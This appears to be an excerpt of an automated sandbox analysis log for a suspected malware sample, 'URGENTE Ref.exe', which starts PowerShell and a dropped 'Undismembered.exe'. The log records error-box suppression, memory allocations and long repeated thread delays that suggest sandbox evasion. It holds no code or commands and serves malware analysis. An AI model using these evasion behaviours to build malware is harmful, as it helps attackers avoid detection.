Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Memory allocated: 20580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Memory allocated: 20030000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 599032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596491	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596368	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Thread delayed: delay time: 593985	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6555	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3106	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Window / User API: threadDelayed 1695	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Window / User API: threadDelayed 8120	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8084	Thread sleep count: 1695 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8084	Thread sleep count: 8120 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599647s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -599032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596491s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596368s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -596094s >= -30000s	Jump to behavior
